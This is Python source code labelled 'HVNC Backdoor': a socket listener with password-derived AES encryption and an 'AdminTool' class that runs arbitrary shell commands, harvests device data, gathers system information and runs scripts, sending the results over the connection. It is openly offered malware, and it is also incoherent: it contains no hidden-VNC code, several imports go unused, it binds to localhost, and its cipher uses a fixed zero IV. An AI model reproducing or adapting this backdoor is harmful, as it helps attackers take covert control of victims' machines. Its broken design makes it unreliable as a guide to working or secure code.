HVNC Backdoor

import socket
import subprocess
import paramiko
import threading
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

class SecureConnectionManager:
    def __init__(self, host, port, password):
        self.host = host
        self.port = port
        self.password = password

    def establish_connection(self):
        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_socket.bind((self.host, self.port))
        server_socket.listen(1)

        client_socket, _ = server_socket.accept()
        shared_key = self.derive_shared_key(client_socket)
        return client_socket, shared_key

    def derive_shared_key(self, client_socket):
        salt = client_socket.recv(16)
        kdf = PBKDF2HMAC(
            algorithm=hashes.SHA256(),
            iterations=100000,
            salt=salt,
            length=32,
            backend=default_backend()
        )
        key = kdf.derive(self.password.encode())
        return key

    def encrypt(self, data, key):
        cipher = Cipher(algorithms.AES(key), modes.CFB(b'\0' * 16), backend=default_backend())
        encryptor = cipher.encryptor()
        encrypted_data = encryptor.update(data.encode()) + encryptor.finalize()
        return encrypted_data

    def decrypt(self, encrypted_data, key):
        cipher = Cipher(algorithms.AES(key), modes.CFB(b'\0' * 16), backend=default_backend())
        decryptor = cipher.decryptor()
        decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
        return decrypted_data.decode()

    def send_command(self, client_socket, command, key):
        encrypted_command = self.encrypt(command, key)
        client_socket.send(encrypted_command)

    def receive_output(self, client_socket, key):
        encrypted_response = client_socket.recv(4096)
        response = self.decrypt(encrypted_response, key)
        return response

    def close_connection(self, client_socket):
        client_socket.close()

class AdminTool:
    @staticmethod
    def execute_command(command):
        try:
            output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, universal_newlines=True)
        except subprocess.CalledProcessError as e:
            output = f"Error: {e.output}"

        return output

    @staticmethod
    def handle_advanced_logic(command):
        # Realistic example: Check if the command is a file search and execute it.
        if "search_files" in command:
            result = subprocess.check_output(["find", "/path/to/search", "-name", "*.txt"], universal_newlines=True)
        else:
            result = "Invalid advanced command."

        return result

    @staticmethod
    def harvest_device_data():
        # Realistic example: Fetch system information using a custom script.
        try:
            data = subprocess.check_output(["python", "system_info_script.py"], universal_newlines=True)
        except subprocess.CalledProcessError as e:
            data = f"Error harvesting device data: {e.output}"

        return data

    @staticmethod
    def system_info():
        try:
            info = subprocess.check_output(['systeminfo'], shell=True, universal_newlines=True)
        except subprocess.CalledProcessError as e:
            info = f"Error retrieving system information: {e.output}"

        return info

    @staticmethod
    def run_custom_script(script_path):
        try:
            result = subprocess.check_output(['python', script_path], shell=True, universal_newlines=True)
        except subprocess.CalledProcessError as e:
            result = f"Error running custom script: {e.output}"

        return result

if __name__ == '__main__':
    password = "your_super_secret_password"
    connection_manager = SecureConnectionManager("127.0.0.1", 8000, password)

    try:
        client_socket, shared_key = connection_manager.establish_connection()

        options = {
            "1": ("Run System Command", "echo 'Hello, World!'"),
            "2": ("Advanced Logic", "search_files"),
            "3": ("Harvest Device Data", "harvest_data"),
            "4": ("System Information", "system_info"),
            "5": ("Run Custom Script", "custom_script.py")
        }

        for key, (description, command) in options.items():
            print(f"{key}. {description}")

        choice = input("Select an option: ")

        if choice in options:
            admin_command = options[choice][1]

            if admin_command == "search_files":
                response = AdminTool.handle_advanced_logic(admin_command)
            elif admin_command == "harvest_data":
                response = AdminTool.harvest_device_data()
            elif admin_command == "system_info":
                response = AdminTool.system_info()
            elif admin_command == "custom_script.py":
                response = AdminTool.run_custom_script(admin_command)
            else:
                response = AdminTool.execute_command(admin_command)

            connection_manager.send_command(client_socket, response, shared_key)
            print(f"Response: {response}")

        connection_manager.close_connection(client_socket)

    except Exception as e:
        print(f"Error in main execution: {e}")